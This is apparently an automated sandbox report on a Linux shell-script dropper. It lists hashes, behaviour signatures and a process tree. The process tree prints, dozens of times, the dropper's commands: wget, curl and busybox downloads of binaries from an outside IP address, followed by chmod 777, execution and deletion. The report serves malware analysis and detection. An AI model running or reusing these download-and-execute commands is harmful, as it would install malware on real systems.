Analysis
-
max time kernel
107s -
max time network
137s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20240611-en -
resource tags
arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
21/11/2024, 05:23
Static task
static1
Behavioral task
behavioral1
Sample
64de2e23c0977b9b1adb01d6f576ff8a240c8739f87d4cc23bb2e58d9a636926.sh
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral2
Sample
64de2e23c0977b9b1adb01d6f576ff8a240c8739f87d4cc23bb2e58d9a636926.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
64de2e23c0977b9b1adb01d6f576ff8a240c8739f87d4cc23bb2e58d9a636926.sh
Resource
debian9-mipsbe-20240418-en
Behavioral task
behavioral4
Sample
64de2e23c0977b9b1adb01d6f576ff8a240c8739f87d4cc23bb2e58d9a636926.sh
Resource
debian9-mipsel-20240611-en
General
-
Target
64de2e23c0977b9b1adb01d6f576ff8a240c8739f87d4cc23bb2e58d9a636926.sh
-
Size
10KB
-
MD5
7d4915a02bbc4a1ae7b70fed6d3293c1
-
SHA1
b164b6db9f2e8375942f65d81fdbee4d41650560
-
SHA256
64de2e23c0977b9b1adb01d6f576ff8a240c8739f87d4cc23bb2e58d9a636926
-
SHA512
6830a2ff2527d337e1e6b83939662fb92e363729989c13b85ad949521942da0b5acfade63e558e549f074167b1367ba6ae1d980f9217d63cc670c0d53ed0ce28
-
SSDEEP
192:jrE/uXvn65QyKeioEWfPDt92igPn12igPnA/WXvn65QjeiojPDv:jrE2Xvn6uymWp92igPn12igPnAeXvn61
Malware Config
Signatures
-
File and Directory Permissions Modification 1 TTPs 28 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 754 chmod 826 chmod 904 chmod 916 chmod 958 chmod 820 chmod 934 chmod 952 chmod 747 chmod 868 chmod 922 chmod 928 chmod 777 chmod 807 chmod 844 chmod 898 chmod 741 chmod 880 chmod 910 chmod 892 chmod 940 chmod 976 chmod 982 chmod 874 chmod 886 chmod 946 chmod 964 chmod 970 chmod -
Executes dropped EXE 28 IoCs
ioc pid Process /tmp/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM 742 uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM /tmp/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE 748 Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE /tmp/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ 755 eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ /tmp/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik 778 6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik /tmp/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq 809 WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq /tmp/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN 821 bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN /tmp/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc 827 yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc /tmp/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX 845 SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX /tmp/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt5 869 ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt5 /tmp/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm 875 ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm /tmp/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f 881 zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f /tmp/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD 887 nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD /tmp/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y 893 asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y /tmp/Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ 899 Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ /tmp/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f 905 zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f /tmp/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD 911 nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD /tmp/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y 917 asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y /tmp/Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ 923 Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ /tmp/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM 929 uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM /tmp/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE 935 Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE /tmp/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ 941 eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ /tmp/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik 947 6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik /tmp/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq 953 WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq /tmp/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN 959 bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN /tmp/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc 965 yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc /tmp/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX 971 SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX /tmp/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt5 977 ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt5 /tmp/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm 983 ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm -
description ioc Process File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl -
Writes file to tmp directory 28 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ curl File opened for modification /tmp/Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ curl File opened for modification /tmp/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc curl File opened for modification /tmp/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik curl File opened for modification /tmp/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq curl File opened for modification /tmp/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX curl File opened for modification /tmp/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt5 curl File opened for modification /tmp/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE curl File opened for modification /tmp/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc curl File opened for modification /tmp/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD curl File opened for modification /tmp/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM curl File opened for modification /tmp/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik curl File opened for modification /tmp/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f curl File opened for modification /tmp/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM curl File opened for modification /tmp/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f curl File opened for modification /tmp/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ curl File opened for modification /tmp/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm curl File opened for modification /tmp/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq curl File opened for modification /tmp/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX curl File opened for modification /tmp/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm curl File opened for modification /tmp/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN curl File opened for modification /tmp/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y curl File opened for modification /tmp/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD curl File opened for modification /tmp/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y curl File opened for modification /tmp/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN curl File opened for modification /tmp/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE curl File opened for modification /tmp/Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ curl File opened for modification /tmp/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt5 curl
Processes
-
/tmp/64de2e23c0977b9b1adb01d6f576ff8a240c8739f87d4cc23bb2e58d9a636926.sh/tmp/64de2e23c0977b9b1adb01d6f576ff8a240c8739f87d4cc23bb2e58d9a636926.sh1⤵PID:711
-
/bin/rm/bin/rm bins.sh2⤵PID:714
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM2⤵PID:720
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:733
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM2⤵PID:738
-
-
/bin/chmodchmod 777 uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM2⤵
- File and Directory Permissions Modification
PID:741
-
-
/tmp/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM./uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM2⤵
- Executes dropped EXE
PID:742
-
-
/bin/rmrm uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM2⤵PID:743
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE2⤵PID:744
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:745
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE2⤵PID:746
-
-
/bin/chmodchmod 777 Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE2⤵
- File and Directory Permissions Modification
PID:747
-
-
/tmp/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE./Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE2⤵
- Executes dropped EXE
PID:748
-
-
/bin/rmrm Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE2⤵PID:749
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ2⤵PID:750
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:752
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ2⤵PID:753
-
-
/bin/chmodchmod 777 eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ2⤵
- File and Directory Permissions Modification
PID:754
-
-
/tmp/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ./eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ2⤵
- Executes dropped EXE
PID:755
-
-
/bin/rmrm eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ2⤵PID:756
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik2⤵PID:757
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:763
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik2⤵PID:773
-
-
/bin/chmodchmod 777 6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik2⤵
- File and Directory Permissions Modification
PID:777
-
-
/tmp/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik./6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik2⤵
- Executes dropped EXE
PID:778
-
-
/bin/rmrm 6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik2⤵PID:781
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq2⤵PID:783
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:790
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq2⤵PID:800
-
-
/bin/chmodchmod 777 WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq2⤵
- File and Directory Permissions Modification
PID:807
-
-
/tmp/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq./WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq2⤵
- Executes dropped EXE
PID:809
-
-
/bin/rmrm WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq2⤵PID:812
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN2⤵PID:813
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:818
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN2⤵PID:819
-
-
/bin/chmodchmod 777 bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN2⤵
- File and Directory Permissions Modification
PID:820
-
-
/tmp/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN./bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN2⤵
- Executes dropped EXE
PID:821
-
-
/bin/rmrm bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN2⤵PID:822
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc2⤵PID:823
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:824
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc2⤵PID:825
-
-
/bin/chmodchmod 777 yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc2⤵
- File and Directory Permissions Modification
PID:826
-
-
/tmp/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc./yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc2⤵
- Executes dropped EXE
PID:827
-
-
/bin/rmrm yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc2⤵PID:828
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX2⤵PID:829
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:830
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX2⤵PID:839
-
-
/bin/chmodchmod 777 SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX2⤵
- File and Directory Permissions Modification
PID:844
-
-
/tmp/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX./SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX2⤵
- Executes dropped EXE
PID:845
-
-
/bin/rmrm SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX2⤵PID:849
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt52⤵PID:851
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt52⤵
- Reads runtime system information
- Writes file to tmp directory
PID:862
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt52⤵PID:867
-
-
/bin/chmodchmod 777 ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt52⤵
- File and Directory Permissions Modification
PID:868
-
-
/tmp/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt5./ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt52⤵
- Executes dropped EXE
PID:869
-
-
/bin/rmrm ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt52⤵PID:870
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm2⤵PID:871
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:872
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm2⤵PID:873
-
-
/bin/chmodchmod 777 ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm2⤵
- File and Directory Permissions Modification
PID:874
-
-
/tmp/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm./ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm2⤵
- Executes dropped EXE
PID:875
-
-
/bin/rmrm ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm2⤵PID:876
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f2⤵PID:877
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:878
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f2⤵PID:879
-
-
/bin/chmodchmod 777 zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f2⤵
- File and Directory Permissions Modification
PID:880
-
-
/tmp/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f./zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f2⤵
- Executes dropped EXE
PID:881
-
-
/bin/rmrm zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f2⤵PID:882
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD2⤵PID:883
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:884
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD2⤵PID:885
-
-
/bin/chmodchmod 777 nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD2⤵
- File and Directory Permissions Modification
PID:886
-
-
/tmp/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD./nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD2⤵
- Executes dropped EXE
PID:887
-
-
/bin/rmrm nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD2⤵PID:888
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y2⤵PID:889
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:890
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y2⤵PID:891
-
-
/bin/chmodchmod 777 asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y2⤵
- File and Directory Permissions Modification
PID:892
-
-
/tmp/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y./asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y2⤵
- Executes dropped EXE
PID:893
-
-
/bin/rmrm asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y2⤵PID:894
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ2⤵PID:895
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:896
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ2⤵PID:897
-
-
/bin/chmodchmod 777 Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ2⤵
- File and Directory Permissions Modification
PID:898
-
-
/tmp/Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ./Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ2⤵
- Executes dropped EXE
PID:899
-
-
/bin/rmrm Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ2⤵PID:900
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f2⤵PID:901
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:902
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f2⤵PID:903
-
-
/bin/chmodchmod 777 zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f2⤵
- File and Directory Permissions Modification
PID:904
-
-
/tmp/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f./zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f2⤵
- Executes dropped EXE
PID:905
-
-
/bin/rmrm zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f2⤵PID:906
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD2⤵PID:907
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:908
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD2⤵PID:909
-
-
/bin/chmodchmod 777 nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD2⤵
- File and Directory Permissions Modification
PID:910
-
-
/tmp/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD./nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD2⤵
- Executes dropped EXE
PID:911
-
-
/bin/rmrm nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD2⤵PID:912
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y2⤵PID:913
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:914
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y2⤵PID:915
-
-
/bin/chmodchmod 777 asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y2⤵
- File and Directory Permissions Modification
PID:916
-
-
/tmp/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y./asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y2⤵
- Executes dropped EXE
PID:917
-
-
/bin/rmrm asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y2⤵PID:918
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ2⤵PID:919
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:920
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ2⤵PID:921
-
-
/bin/chmodchmod 777 Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ2⤵
- File and Directory Permissions Modification
PID:922
-
-
/tmp/Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ./Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ2⤵
- Executes dropped EXE
PID:923
-
-
/bin/rmrm Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ2⤵PID:924
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM2⤵PID:925
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:926
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM2⤵PID:927
-
-
/bin/chmodchmod 777 uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM2⤵
- File and Directory Permissions Modification
PID:928
-
-
/tmp/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM./uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM2⤵
- Executes dropped EXE
PID:929
-
-
/bin/rmrm uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM2⤵PID:930
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE2⤵PID:931
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:932
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE2⤵PID:933
-
-
/bin/chmodchmod 777 Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE2⤵
- File and Directory Permissions Modification
PID:934
-
-
/tmp/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE./Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE2⤵
- Executes dropped EXE
PID:935
-
-
/bin/rmrm Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE2⤵PID:936
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ2⤵PID:937
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:938
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ2⤵PID:939
-
-
/bin/chmodchmod 777 eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ2⤵
- File and Directory Permissions Modification
PID:940
-
-
